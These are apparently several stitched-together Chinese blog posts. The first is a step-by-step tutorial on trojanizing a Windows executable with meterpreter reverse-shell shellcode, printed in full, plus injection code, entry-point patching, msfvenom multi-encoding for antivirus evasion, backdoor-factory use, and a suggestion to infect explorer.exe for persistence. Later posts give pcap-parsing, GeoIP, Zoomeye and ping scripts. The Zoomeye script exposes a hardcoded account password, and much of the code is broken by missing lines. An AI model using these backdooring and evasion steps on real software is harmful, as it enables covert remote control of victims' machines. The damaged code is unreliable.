msfvenom -a x86 --platform Windows \ -p windows/meterpreter/reverse_tcp \ -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c关于命令介绍:-a指定平台架构,--platform指定攻击系统,-p指定一个反向连接shell会话,-b的话是去除坏字节,并指定攻击主机的IP与端口信息,执行命令后会生成一段有效攻击载荷。为了保证生成的ShellCode可用性,你可以通过将生成的ShellCode加入到测试程序中测试调用效果,此处我就不测试了,直接贴出测试代码吧,你只需要将buf[]数组填充为上方的Shell代码即可。#include <Windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char buf[] = ""; typedef void(__stdcall *CODE) (); int main() //((void(*)(void))&buf)(); PVOID pFunction = NULL; pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(pFunction, buf, sizeof(buf)); CODE StartShell = (CODE)pFunction; StartShell(); }此时我们需要将上方生成的ShellCode注入到我们新加入的区段中,区段实际偏移是0x3A00,此处的二进制代码较多不可能手动一个个填写,机智的我写了一个小程序,即可完成自动填充,附上代码吧。#include <Windows.h> #include <stdio.h> unsigned char buf[] = "\xdb\xda\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x56\xba\xd5\xe5\x72" "\xb7\x31\x55\x18\x83\xed\xfc\x03\x55\xc1\x07\x87\x4b\x01\x45" "\x68\xb4\xd1\x2a\xe0\x51\xe0\x6a\x96\x12\x52\x5b\xdc\x77\x5e" "\x10\xb0\x63\xd5\x54\x1d\x83\x5e\xd2\x7b\xaa\x5f\x4f\xbf\xad" "\xe3\x92\xec\x0d\xda\x5c\xe1\x4c\x1b\x80\x08\x1c\xf4\xce\xbf" "\xb1\x71\x9a\x03\x39\xc9\x0a\x04\xde\x99\x2d\x25\x71\x92\x77" "\xe5\x73\x77\x0c\xac\x6b\x94\x29\x66\x07\x6e\xc5\x79\xc1\xbf" "\x26\xd5\x2c\x70\xd5\x27\x68\xb6\x06\x52\x80\xc5\xbb\x65\x57" "\xb4\x67\xe3\x4c\x1e\xe3\x53\xa9\x9f\x20\x05\x3a\x93\x8d\x41" "\x64\xb7\x10\x85\x1e\xc3\x99\x28\xf1\x42\xd9\x0e\xd5\x0f\xb9" "\x2f\x4c\xf5\x6c\x4f\x8e\x56\xd0\xf5\xc4\x7a\x05\x84\x86\x12" "\xea\xa5\x38\xe2\x64\xbd\x4b\xd0\x2b\x15\xc4\x58\xa3\xb3\x13" "\xe9\xa3\x43\xcb\x51\xa3\xbd\xec\xa1\xed\x79\xb8\xf1\x85\xa8" "\xc1\x9a\x55\x54\x14\x36\x5c\xc2\x57\x6e\x61\x0c\x30\x6c\x62" "\x17\xcf\xf9\x84\x07\x9f\xa9\x18\xe8\x4f\x09\xc9\x80\x85\x86" "\x36\xb0\xa5\x4d\x5f\x5b\x4a\x3b\x37\xf4\xf3\x66\xc3\x65\xfb" "\xbd\xa9\xa6\x77\x37\x4d\x68\x70\x32\x5d\x9d\xe7\xbc\x9d\x5e" "\x82\xbc\xf7\x5a\x04\xeb\x6f\x61\x71\xdb\x2f\x9a\x54\x58\x37" "\x64\x29\x68\x43\x53\xbf\xd4\x3b\x9c\x2f\xd4\xbb\xca\x25\xd4" "\xd3\xaa\x1d\x87\xc6\xb4\x8b\xb4\x5a\x21\x34\xec\x0f\xe2\x5c" "\x12\x69\xc4\xc2\xed\x5c\x56\x04\x11\x22\x71\xad\x79\xdc\xc1" "\x4d\x79\xb6\xc1\x1d\x11\x4d\xed\x92\xd1\xae\x24\xfb\x79\x24" "\xa9\x49\x18\x39\xe0\x0c\x84\x3a\x07\x95\x37\x40\x68\x2a\xb8" "\xb5\x60\x4f\xb9\xb5\x8c\x71\x86\x63\xb5\x07\xc9\xb7\x82\x18" "\x7c\x95\xa3\xb2\x7e\x89\xb4\x96"; int main() HANDLE hFile = NULL; DWORD dwNum = 0; LONG FileOffset; FileOffset = 0x3A00; // 文件中的偏移 hFile = CreateFile(L"C:\\setup.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN); WriteFile(hFile, buf, sizeof(buf), &dwNum, NULL); CloseHandle(hFile); return 0; }通过VS编译器编译代码并运行,窗口一闪而过就已经完成填充了,直接打开WinHEX工具定位到0x3A00发现已经全部填充好了,可见机器的效率远高于人,哈哈!填充完代码以后,接着就是执行这段代码了,我们的最终目标是程序正常运行并且成功反弹Shell会话,但问题是这段代码是交互式的如果直接植入到程序中那么程序将会假死,也就暴漏了我们的行踪,这里我们就只能另辟蹊径了,经过我的思考我决定让这段代码成为进程中的一个子线程,这样就不会相互干扰了。于是乎我打开了微软的网站,查询了一下相关API函数,最终找到了一个CreateThread()函数可以在进程中创建线程,此处贴出微软对该函数的定义以及对函数参数的解释。HANDLE WINAPI CreateThread( _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ __drv_aliasesMem LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId lpThreadAttributes => 线程内核对象的安全属性,默认为NULL dwStackSize => 线程栈空间大小,传入0表示使用默认大小1MB lpStartAddress => 新线程所执行的线程函数地址,指向ShellCode首地址 lpParameter => 此处是传递给线程函数的参数,我们这里直接填NULL dwCreationFlags => 为0表示线程创建之后立即就可以进行调度 lpThreadId => 返回线程的ID号,传入NULL表示不需要返回该线程ID号由于我们需要写入机器码,所以必须将CreateThread函数的调用方式转换成汇编格式,我们打开X64DBG找到我们的区段位置,可以看到填充好的ShellCode代码,其开头位置为00407000,如下所示:接着向下找,找到一处空旷的区域,然后填入CreateThread()创建线程函数的汇编格式,填写时需要注意调用约定和ShellCode的起始地址。接着我们需要使用一条Jmp指令让其跳转到原始位置执行原始代码,这里的原始OEP位置是0040158B我们直接JMP跳转过去就好,修改完成后直接保存文件。最后一步修改程序默认执行位置,我们将原始位置的0040158B改为00407178这里通过WinHEX修改的话直接改成7178就好,如下截图:最后通过MSF控制台创建一个侦听端口,执行如下命令即可,此处的IP地址与生成的ShellCode地址应该相同。msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.30 msf5 exploit(multi/handler) > set lport 9999 msf5 exploit(multi/handler) > exploit然后运行我们植入后门的程序,会发现成功上线了,而且程序也没有出现异常情况。总结:该笔记看似很复杂,是因为我需要复习PE结构相关知识,从而将每一个步骤都展开了,在真正的实战环境中,可以使用自动化工具来完成这一系列过程,工具的集成化较高,几秒钟就可完成代码注入。思考:最后留给大家一个思索的空间,我们的系统桌面进程为explorer.exe如果将恶意代码注入到其中的话,系统只要开机就会自动上线,是不是更实用了呢?使用工具自动化注入(拓展)Msfvenom工具自带捆绑功能,你可以执行命令来完成捆绑,不过单纯使用此方法捆绑很容易被查杀[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \ -b '\x00\x0b' lhost=192.168.1.20 lport=8888 \ -x lyshark.exe -k -f exe > shell.exe为了更好的免杀,我们可以使用Msfvenom的编码器,并对攻击载荷多重编码,先用shikata_ga_nai编码5次,继续20次的alpha_upper编码,再来5次的countdown编码,最后才生成shell.exe的可执行文件[root@localhost ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -b '\x00\x0b' \ -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.20 LPORT=8888 -f raw | \ msfvenom -a x86 --platform windows -e x86/alpha_upper -i 20 -f raw | \ msfvenom -a x86 --platform windows -e x86/countdown -i 5 \ -x lyshark.exe -f exe > shell.exe回到攻击主机,启动MSF控制台,我们配置好侦听端口,然后运行shell.exe 程序看能否正常上线。[root@localhost ~]# msfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.20 msf5 exploit(multi/handler) > set lport 8888 msf5 exploit(multi/handler) > exploit -j -z除了上述方式注入以外,我们还可以使用backdoor-factory这款神器进行代码注入,首先你需要先安装[root@localhost ~]# yum install -y epel-release git [root@localhost ~]# git clone https://github.com/secretsquirrel/the-backdoor-factory.git [root@localhost ~]# pip install capstone通过命令检查文件是否支持注入,如果出现is supported说明支持注入代码.[root@localhost ~]# python backdoor.py --file=/root/lyshark.exe --support_check [*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions /root/lyshark.exe is supported.确定了可以注入以后,我们们接着使用show参数,查看其支持注入的ShellCode类型,如下结果所示。[root@localhost ~]# python backdoor.py -f /root/lyshark.exe show The following WinIntelPE32s are available: (use -s) cave_miner_inline iat_reverse_tcp_inline iat_reverse_tcp_inline_threaded iat_reverse_tcp_stager_threaded iat_user_supplied_shellcode_threaded meterpreter_reverse_https_threaded reverse_shell_tcp_inline reverse_tcp_stager_threaded user_supplied_shellcode_threaded这里我们选择reverse_shell_tcp_inline这个反向连接的Shell并注入到lyshark.exe中。[root@localhost the-backdoor-factory]# python backdoor.py -f /root/lyshark.exe -s reverse_shell_tcp_inline \ > -H 192.168.1.20 -P 8888 [!] Enter your selection: 2 [!] Using selection: 2 [*] Changing flags for section: .text [*] Patching initial entry instructions [*] Creating win32 resume execution stub [*] Looking for and setting selected shellcode File lyshark.exe is in the 'backdoored' directory以上注入方式属于单代码裂缝的注入,为了取得更好的免杀效果,我们还可以使用多裂缝注入,注入完成以后或默认存储在/backdoor/backdoored目录下.root@kali:~/backdoor# python backdoor.py -f /root/lyshark.exe -s reverse_shell_tcp_inline \ > -H 192.168.1.20 -P 8888 -J思考:最后留给大家一个思索的空间,我们的系统桌面进程为explorer.exe如果将恶意代码注入到其中的话,系统只要开机就会自动上线,是不是更实用了呢?原创作品,转载请加出处,您添加出处是我创作的动力!

Python 运用GeoIP2离线数据库定位

GeoIP2 是一个强大的离线数据库,该数据库内定义并记录了目前所有主机的IP地址和所在位置,通过传入某个IP地址,即可精确的定位到主机的位置,再结合谷歌地图可完美的画出坐标。IP地址精准识别: 通过wireshark抓取pcap数据包,然后使用geoip2模块实现对IP地址的精准解析。模块下载地址: https://github.com/maxmind/GeoIP2-python离线数据库:https://www.maxmind.com/en/accounts/current/geoip/downloadsGeoIP2简单的定位使用案例。>>> import geoip2.database>>> reader = geoip2.database.Reader('/path/to/GeoLite2-City.mmdb') >>> response = reader.city('128.101.101.101') >>> >>> response.country.iso_code >>> response.country.name 'United States' >>> response.country.names['zh-CN'] u'美国' >>> >>> response.subdivisions.most_specific.name 'Minnesota' >>> response.subdivisions.most_specific.iso_code >>> >>> response.city.name 'Minneapolis' >>> >>> response.postal.code '55455' >>> >>> response.location.latitude 44.9733 >>> response.location.longitude -93.2323 >>> >>> response.traits.network IPv4Network('128.101.101.0/24') >>> >>> reader.close()完整代码。#coding=utf-8 import dpkt import socket import geoip2.database def GetPcap(pcap): ret = [] for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) # print("[+] 源地址: %-16s --> 目标地址: %-16s"%(src,dst)) ret.append(dst) except: return set(ret) if __name__ == '__main__': fp = open('data.pcap','rb') pcap = dpkt.pcap.Reader(fp) addr = GetPcap(pcap) reader = geoip2.database.Reader("d://GeoLite2-City.mmdb") for item in addr: response = reader.city(item) print("IP地址: %-16s --> " %item,end="") print("网段: %-16s --> " %response.traits.network,end="") print("经度: %-10s 纬度: %-10s --> " %(response.location.latitude, response.location.longitude),end="") print("地区: {}".format(response.country.names["zh-CN"]),end="\n") except Exception: pass生成Google地图文件: 通过geoip2 模块定位后,生成google地图识别格式kml文件。接着访问谷歌地球 https://www.google.com/earth/ 直接将生成的googleearth.kml 导入即可完成定位.也可使用离线版地图: https://dl.google.com/dl/earth/client/advanced/current/googleearthprowin-7.3.2.exe#coding=utf-8 # pip install python-geoip-geolite2 import dpkt import socket import geoip2.database from optparse import OptionParser def GetPcap(pcap): ret = [] for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) # print("[+] 源地址: %-16s --> 目标地址: %-16s"%(src,dst)) ret.append(dst) except: return set(ret) def retKML(addr,longitude,latitude): kml = ( '<Placemark>\n' '<name>%s</name>\n' '<Point>\n' '<coordinates>%6f,%6f</coordinates>\n' '</Point>\n' '</Placemark>\n' ) %(addr, longitude, latitude) return kml if __name__ == '__main__': parser = OptionParser() parser.add_option("-p", "--pcap", dest="pcap_file", help="set -p *.pcap") parser.add_option("-d", "--mmdb", dest="mmdb_file", help="set -d *.mmdb") (options, args) = parser.parse_args() if options.pcap_file and options.mmdb_file: fp = open(options.pcap_file,'rb') pcap = dpkt.pcap.Reader(fp) addr = GetPcap(pcap) reader = geoip2.database.Reader(options.mmdb_file) kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\ \n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n' with open("GoogleEarth.kml", "w") as f: f.write(kmlheader) f.close() for item in addr: response = reader.city(item) print("IP地址: %-16s --> " %item,end="") print("网段: %-16s --> " %response.traits.network,end="") print("经度: %-10s 纬度: %-10s --> " %(response.location.latitude, response.location.longitude),end="") print("地区: {}".format(response.country.names["zh-CN"]),end="\n") with open("GoogleEarth.kml","a+") as f: f.write(retKML(item,response.location.latitude, response.location.longitude)) f.close() except Exception: kmlfooter = '</Document>\n</kml>\n' with open("GoogleEarth.kml", "a+") as f: f.write(kmlfooter) f.close() else: parser.print_help()

Python 运用Dpkt库解析数据包

dpkt项目是一个python模块,用于快速、简单的数据包解析,并定义了基本TCP/IP协议,使用该库可以快速解析通过各类抓包工具抓到的数据包,从而提取分析包内的参数。使用Dpkt分析数据包: 使用Dpkt发现URL中存在的.zip字样链接#coding=utf-8 import dpkt import socket def FindPcapWord(pcap,WordKey): for ts,buf in pcap: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data http = dpkt.http.Request(tcp.data) if(http.method == "GET"): uri = http.uri.lower() if WordKey in uri: print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri)) except Exception: fp = open("D://aaa.pcap","rb") pcap = dpkt.pcap.Reader(fp) FindPcapWord(pcap,"wang.zip")也可以使用dpkt解析本机数据包中是否包含后门。#coding=utf-8 import dpkt import socket def FindPcapWord(pcap,WordKey): for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data http = dpkt.http.Request(tcp.data) if(http.method == "GET"): uri = http.uri.lower() if WordKey in uri: print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri)) except Exception: def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") def FindHivemind(pcap): for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data tcp = ip.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) sport = tcp.sport dport = tcp.dport # print("[+] 源地址: {}:{} --> 目标地址:{}:{}".format(src,sport,dst,dport)) if dport == 80 and dst == "125.39.247.226": # 如果数据流中存在cmd等明文命令则说明可能存在后门 if '[cmd]# ' in tcp.data.lower(): print("[+] {}:{}".format(dst,dport)) except Exception: Banner() fp = open("D://aaa.pcap","rb") pcap = dpkt.pcap.Reader(fp) FindHivemind(pcap)实时检测DDoS攻击: 主要通过设置检测不正常数据包数量的阈值来判断是否存在DDoS攻击。#coding=utf-8 import dpkt import socket def FindPcapWord(pcap,WordKey): for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) tcp = ip.data http = dpkt.http.Request(tcp.data) if(http.method == "GET"): uri = http.uri.lower() if WordKey in uri: print("[+] 源地址: {} --> 目标地址: {} 检索到URL中存在 {}".format(src,dst,uri)) except Exception: def FindHivemind(pcap): for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data tcp = ip.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) sport = tcp.sport dport = tcp.dport # print("[+] 源地址: {}:{} --> 目标地址:{}:{}".format(src,sport,dst,dport)) if dport == 80 and dst == "125.39.247.226": # 如果数据流中存在cmd等明文命令则说明可能存在后门 if '[cmd]# ' in tcp.data.lower(): print("[+] {}:{}".format(dst,dport)) except Exception: def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") def FindDDosAttack(pcap): pktCount = {} for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data tcp = ip.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) sport = tcp.sport # 累计判断各个src地址对目标地址80端口访问次数 if dport == 80: stream = src + ":" + dst if pktCount.has_key(stream): pktCount[stream] = pktCount[stream] + 1 else: pktCount[stream] = 1 except Exception: for stream in pktCount: pktSent = pktCount[stream] # 如果超过设置的检测阈值500,则判断为DDOS攻击行为 if pktSent > 500: src = stream.split(":")[0] dst = stream.split(":")[1] print("[+] 源地址: {} 攻击: {} 流量: {} pkts.".format(src,dst,str(pktSent))) if __name__ == "__main__": Banner() fp = open("D://data.pcap","rb") pcap = dpkt.pcap.Reader(fp) FindPcapWord(pcap,"wang.zip")DPKT动态抓包解析: 首先使用scapy动态抓包,然后调用不同的函数对抓到的数据包进行处理提取出想要的数据.import os,argparse,dpkt from scapy.all import * pkts=[] count=0 # 检查数据包的IP层,提取出IP和TTL字段的值 def Get_TTL(pkt): if pkt.haslayer(IP): ip_src = pkt.getlayer(IP).src ip_sport = pkt.getlayer(IP).sport ip_dst = pkt.getlayer(IP).dst ip_dport = pkt.getlayer(IP).dport ip_ttl = str(pkt.ttl) print("[+] 源地址: %-15s:%-5s --> 目标地址: %-15s:%-5s --> TTL: %-5s"%(ip_src,ip_sport,ip_dst,ip_dport,ip_ttl)) except Exception: # 获取本机发送出去的DNS请求所对应的网站地址 def Get_DNSRR(pkt): if pkt.haslayer(DNSRR): rrname = pkt.getlayer(DNSRR).rrname rdata = pkt.getlayer(DNSRR).rdata ttl = pkt.getlayer(DNSRR).ttl print("[+] 域名: {} --> 别名: {} --> TTL: {}".format(rrname,rdata,ttl)) # 解析网页的DNS查询记录 def Get_DNSQR(pkt): # 判断是否含有DNSRR且存在UDP端口53 if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53: rcode = pkt.getlayer(DNS).rcode qname = pkt.getlayer(DNSQR).qname # 若rcode为3,则表示该域名不存在 if rcode == 3: print("[-] 域名解析不存在") else: print("[+] 解析DNSQR存在:" + str(qname)) # 检测主机是否被DDOS攻击了 def FindDDosAttack(pcap): pktCount = {} for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data tcp = ip.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) sport = tcp.sport # 累计判断各个src地址对目标地址80端口访问次数 if dport == 80: stream = src + ":" + dst if pktCount.has_key(stream): pktCount[stream] = pktCount[stream] + 1 else: pktCount[stream] = 1 except Exception: for stream in pktCount: pktSent = pktCount[stream] # 如果超过设置的检测阈值500,则判断为DDOS攻击行为 if pktSent > 500: src = stream.split(":")[0] dst = stream.split(":")[1] print("[+] 源地址: {} 攻击: {} 流量: {} pkts.".format(src,dst,str(pktSent))) # FindPcapURL 监控提取数据包中的所有URL def FindPcapURL(pcap): Url = [] for timestamp,packet in pcap: eth = dpkt.ethernet.Ethernet(packet) ip = eth.data src = socket.inet_ntoa(ip.src) tcp = ip.data http = dpkt.http.Request(tcp.data) if(http.method == "GET"): UrlHead = http.headers for key,value in UrlHead.items(): url = re.findall('^https*://.*',str(value)) if url: print("[+] 源地址: %10s --> 访问URL: %-80s"%(src, url[0])) except Exception: return set(Url) # 动态保存pcap文件(每1024字节保存一次pcap文件),并读取出其中的网址解析出来 def write_cap(pkt): global pkts global count pkts.append(pkt) count += 1 if count == 1024: wrpcap("data.pcap",pkts) fp = open("./data.pcap","rb") pcap = dpkt.pcap.Reader(fp) FindPcapURL(pcap) fp.close() pkts,count = [],0 def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") if __name__ == "__main__": Banner() parser = argparse.ArgumentParser() parser.add_argument("--mode",dest="mode",help="模式选择<TTL/DNSRR/DNSQR/URL>") args = parser.parse_args() if args.mode == "TTL": print("[*] 开始抓取本机TTL流量") sniff(prn=Get_TTL,store=0) elif args.mode == "DNSRR": print("[*] 开始抓取本机发送出去的DNS查询请求所对应的网站URL") sniff(prn=Get_DNSRR,store=0) elif args.mode == "DNSQR": print("[*] 解析网页的DNS查询记录") sniff(prn=Get_DNSQR,store=0) elif args.mode == "URL": print("[+] 开始抓包,pcap文件并读取出其中的网址") sniff(prn=write_cap,store=0) else: parser.print_help()Geoip2定位IP来源: 首先提取出Pcpa格式的数据包文件,然后通过使用离线数据库查询出指定IP地址的地理位置.# pip install geoip2 # github地址下载:https://github.com/maxmind/GeoIP2-python # 离线数据库:https://www.maxmind.com/en/accounts/current/geoip/downloads import argparse import socket,dpkt import geoip2.database def AnalysisPace(DpktPack,Filter): respon = [] with open(DpktPack,"rb") as fp: pcap = dpkt.pcap.Reader(fp) for timestamp, packet in pcap: eth = dpkt.ethernet.Ethernet(packet) # 解析过滤出网络层(三层)中的IP数据包 if eth.data.__class__.__name__ == "IP": ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) # 解析过滤出传输层(四层)中的TCP数据包 if eth.data.data.__class__.__name__ == "TCP": sport = eth.data.data.sport dport = eth.data.data.dport # 过滤出源地址是192.168.1.2且目的端口是80或者443的流量 # if src == "192.168.1.2" and dport == 80 or dport == 443: if eval(Filter): dic = { "src":"None","sport":0 , "dst":"None","dport":0 } #print("[+] 时间戳: %-17s 源地址: %-14s:%-2s ---> 目标地址: %-16s:%-2s" %(timestamp,src, sport, dst, dport)) RecvData = eth.data.data.data if len(RecvData) and b"GET" in RecvData: #print("[*] 时间戳: {} 源地址: {} <--- 访问网页: {}".format(timestamp,src,bytes.decode(RecvData).split("\n")[1])) dic['src'] = src dic['dst'] = dst dic['sport'] = sport dic['dport'] = dport respon.append(dic) except Exception: return respon def AnalysisIP_To_Address(PcapFile,MmdbFile): IPDict = AnalysisPace(PcapFile,"dport ==80 or dport == 443") NoRepeat = [] for item in range(len(IPDict)): NoRepeat.append(IPDict[item].get("dst")) NoRepeat = set(NoRepeat) reader = geoip2.database.Reader(MmdbFile) for item in NoRepeat: response = reader.city(item) print("[+] IP地址: %-16s --> " %item,end="") print("网段: %-16s --> " %response.traits.network,end="") print("经度: %-10s 纬度: %-10s --> " %(response.location.latitude, response.location.longitude),end="") print("定位: {} {} {}".format(response.country.names["zh-CN"],response.subdivisions.most_specific.name,response.city.name),end="\n") except Exception: print("定位: None None None") def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com\n") if __name__ == '__main__': Banner() parser = argparse.ArgumentParser() parser.add_argument("-p", "--pcap", dest="pcap", help="设置抓到的数据包 *.pcap") parser.add_argument("-d", "--mmdb", dest="mmdb", help="设置城市数据库 GeoLite2-City.mmdb") args = parser.parse_args() # 使用方式: main.py -p data.pcap -d GeoLite2-City.mmdb (分析数据包中IP) if args.pcap and args.mmdb: AnalysisIP_To_Address(args.pcap,args.mmdb) else: parser.print_help()

Python 调用Zoomeye搜索接口

钟馗之眼是一个强大的搜索引擎,不同于百度谷歌,它主要收集网络中的主机,服务等信息,国内互联网安全厂商知道创宇开放了他们的海量数据库,对之前沉淀的数据进行了整合、整理,打造了一个名符其实的网络空间搜索引擎ZoomEye,运用Python接口可以灵活的实现数据采集。钟馗之眼的常用搜索关键字如下所示。app:组件名称 ver:组件版本 搜索 apache组件 版本2.4 --> app:apache ver:2.4 port:端口号 ---> 例如:搜索开放了SSH端口的主机 port:22 指定搜索的操作系统 OS:操作系统名称 ---> OS:Linux 指定搜索的服务 service:服务名称 ---> 例如,搜素SSH服务 Service:SSH 指定搜索的地理位置范 --> country:国家 city:城市名 country:China --> city:Beijing 搜索指定的CIDR网段 例如: CIDR:192.168.158.12/24 搜索指定的网站域名 ---> site:www.baidu.com 搜索指定的主机名 ---> hostname:zwl.cuit.edu.cn 搜索指定的设备名 --> device:router 搜索具有特定首页关键词的主机 ---> keyword:technology提供的搜索脚本如下。import os,json,requests import argparse def login(): url_login="https://api.zoomeye.org/user/login" data={ "username": "1098395580@qq.com", "password": "xiaohua@1998" data=json.dumps(data) r=requests.post(url=url_login,data=data) return json.loads(r.content)['access_token'] def GetResidual(token): url="https://api.zoomeye.org/resources-info" headers={'Authorization':'JWT ' + token} r=requests.get(url=url,headers=headers) datas=json.loads(r.content) print("剩余搜索次数: {}".format(datas['resources']['search'])) def Search(token,search,files,page): url="https://api.zoomeye.org/web/search?query={}&page={}".format(search,page) headers={'Authorization':'JWT ' + token} r=requests.get(url=url,headers=headers) data = json.loads(r.content)['matches'] with open(files,'w',encoding='utf-8') as f: json.dump(data,f,ensure_ascii=False) print("[+] 保存文件: {} 长度: {} 页码: {} 查询语法: {}".format(files,len(data),page,search)) def Get_System(files): with open(files,'r',encoding='utf8') as fp: json_data = json.load(fp) json_len = len(json_data) for item in range(0,json_len): print("IP地址: %15s |" %(json_data[item]['ip'][0]),end="") print("地区: %1s %3s "%(json_data[item]['geoinfo']['continent']['names']['zh-CN'], json_data[item]['geoinfo']['subdivisions']['names']['zh-CN'])) except Exception: def Banner(): print(" _ ____ _ _ ") print(" | | _ _/ ___|| |__ __ _ _ __| | __") print(" | | | | | \___ \| '_ \ / _` | '__| |/ /") print(" | |__| |_| |___) | | | | (_| | | | < ") print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\") print(" |___/ \n") print("E-Mail: me@lyshark.com") if __name__== "__main__": Banner() parser = argparse.ArgumentParser() parser.add_argument("-s","--search",dest="search",help="根据传入语法搜索指定内容") parser.add_argument("-f","--file",dest="file",help="保存文件的名字 *.json") parser.add_argument("-p","--page",dest="page",help="需要检索第几页的数据") parser.add_argument("-q","--query" ,dest="query",help="单独使用,可用于查询剩余次数") parser.add_argument("-g","--get" ,dest="get",help="提取本地json文件并解析出关键数据") args = parser.parse_args() if args.search and args.file and args.page: token = login() Search(token,args.search,args.file,args.page) elif args.query and args.search == None: token = login() GetResidual(token) elif args.get: Get_System(args.get) else: parser.print_help()查询使用次数: 默认情况下,钟馗之眼每月给与10000条左右的查询次数,可以使用 -q 参数实现次数的查询。搜索功能的使用:通过-s选项指定你需要搜索的关键字,可以结合钟馗之眼搜索语法使用-p就是搜索的页码数-f保存为json文件。在JSON中解析IP地址: 在本地JSON文件中解析IP地址,提取出关键数据。

Python 实现Ping命令状态检测

ping 是一种因特网包探索器,用于测试网络连接量的程序,Ping是工作在TCP/IP网络体系结构中应用层的一个服务命令,主要是向特定的目的主机发送 ICMP 请求报文,测试目的站是否可达及了解其有关状态,实现Ping方法的这段代码原始版本来源于网络,后经排版封装后实现了一些功能,放在这里收藏之用。第一步封装MyPing类,在pycharm下面创建一个MyPing.py文件,详细代码备注如下。import time, struct import socket, select class MyPing(): # 发送原始套接字 def raw_socket(self, dst_addr, imcp_packet): rawsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) send_request_ping_time = time.time() rawsocket.sendto(imcp_packet, (dst_addr, 80)) return send_request_ping_time, rawsocket # 计算校验和 def chesksum(self, data): n = len(data) m = n % 2 sum = 0 for i in range(0, n - m, 2): sum += (data[i]) + ((data[i + 1]) << 8) sum = (sum >> 16) + (sum & 0xffff) if m: sum += (data[-1]) sum = (sum >> 16) + (sum & 0xffff) answer = ~sum & 0xffff answer = answer >> 8 | (answer << 8 & 0xff00) return answer # 通过域名获取主机地址 def get_host_address(self,host): dst_addr = socket.gethostbyname(host) return dst_addr # 接受到数据包 def request_ping(self, data_type, data_code, data_checksum, data_ID, data_Sequence, payload_body): # 把字节打包成二进制数据 imcp_packet = struct.pack('>BBHHH32s', data_type, data_code, data_checksum, data_ID, data_Sequence,payload_body) # 获取校验和 icmp_chesksum = self.chesksum(imcp_packet) # 把校验和传入,再次打包 imcp_packet = struct.pack('>BBHHH32s', data_type, data_code, icmp_chesksum, data_ID, data_Sequence,payload_body) return imcp_packet # 相应数据包,解包执行 def reply_ping(self, send_request_ping_time, rawsocket, 